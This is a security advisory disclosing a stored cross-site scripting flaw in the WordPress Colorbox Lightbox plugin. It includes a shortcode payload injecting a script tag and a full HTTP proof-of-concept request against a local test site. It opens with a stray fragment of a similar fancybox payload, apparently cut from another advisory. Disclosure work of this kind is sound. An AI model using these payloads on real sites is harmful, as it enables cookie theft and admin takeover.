Connection: close

{"id":213,"content":"[wp_fancybox_media url=\"http://example.com/wp-content/uploads/image/lightbox.jpg\" type=\"image\" hyperlink=\"<script>alert(0)</script>\"]"}

Recommendation

All user inputs should be sanitized before publishing the post.

Stored XSS Vulnerability in WordPress Colorbox Lightbox Plugin

WordPress Colorbox Lightbox Plugin version 1.1.2 and below were found to be vulnerable to stored XSS while I was auditing the plugin.

Summary

WordPress Colorbox Lightbox plugin is used to add a lightbox functionality while adding videos to your WordPress site. It was found to be vulnerable to Stored Cross-Site Scripting (XSS) vulnerability. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.

Vulnerability

The ‘hyperlink’ field in used while linking an image from a URL was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a users loads a page where the plugin shortcode is used. All WordPress websites using WordPress Colorbox Lightbox version 1.1.2 and below are affected.

The image below shows our javascript is being executed when the following string is inserted into the post.

[wp_colorbox_media url="http://www.youtube.com/embed/nmp3Ra3Yj24" type="youtube" hyperlink="<script>alert(0)</script>"]

This vulnerability can be exploited by attckers to steal session cookies of any users, including the admins the website. A less privileged user can exploit this vulnerability to steal the administrator’s cookies for privilege escalation. Thiscan lead to takeover of the web server.

Proof of Concept

POST /w/wp-json/wp/v2/posts/211?_locale=user HTTP/1.1
Host: 127.0.0.1
Content-Length: 148
Accept: application/json, */*;q=0.1
X-WP-Nonce: 6c6cd8b63e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: http://127.0.0.1
Referer: http://127.0.0.1/w/wp-admin/post.php?post=211&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

{"id":211,"content":"[wp_colorbox_media url=\"http://www.youtube.com/embed/nmp3Ra3Yj24\" type=\"youtube\" hyperlink=\"<script>alert(0)</script>\"]"}

Recommendation

All user inputs should be sanitized before publishing the post.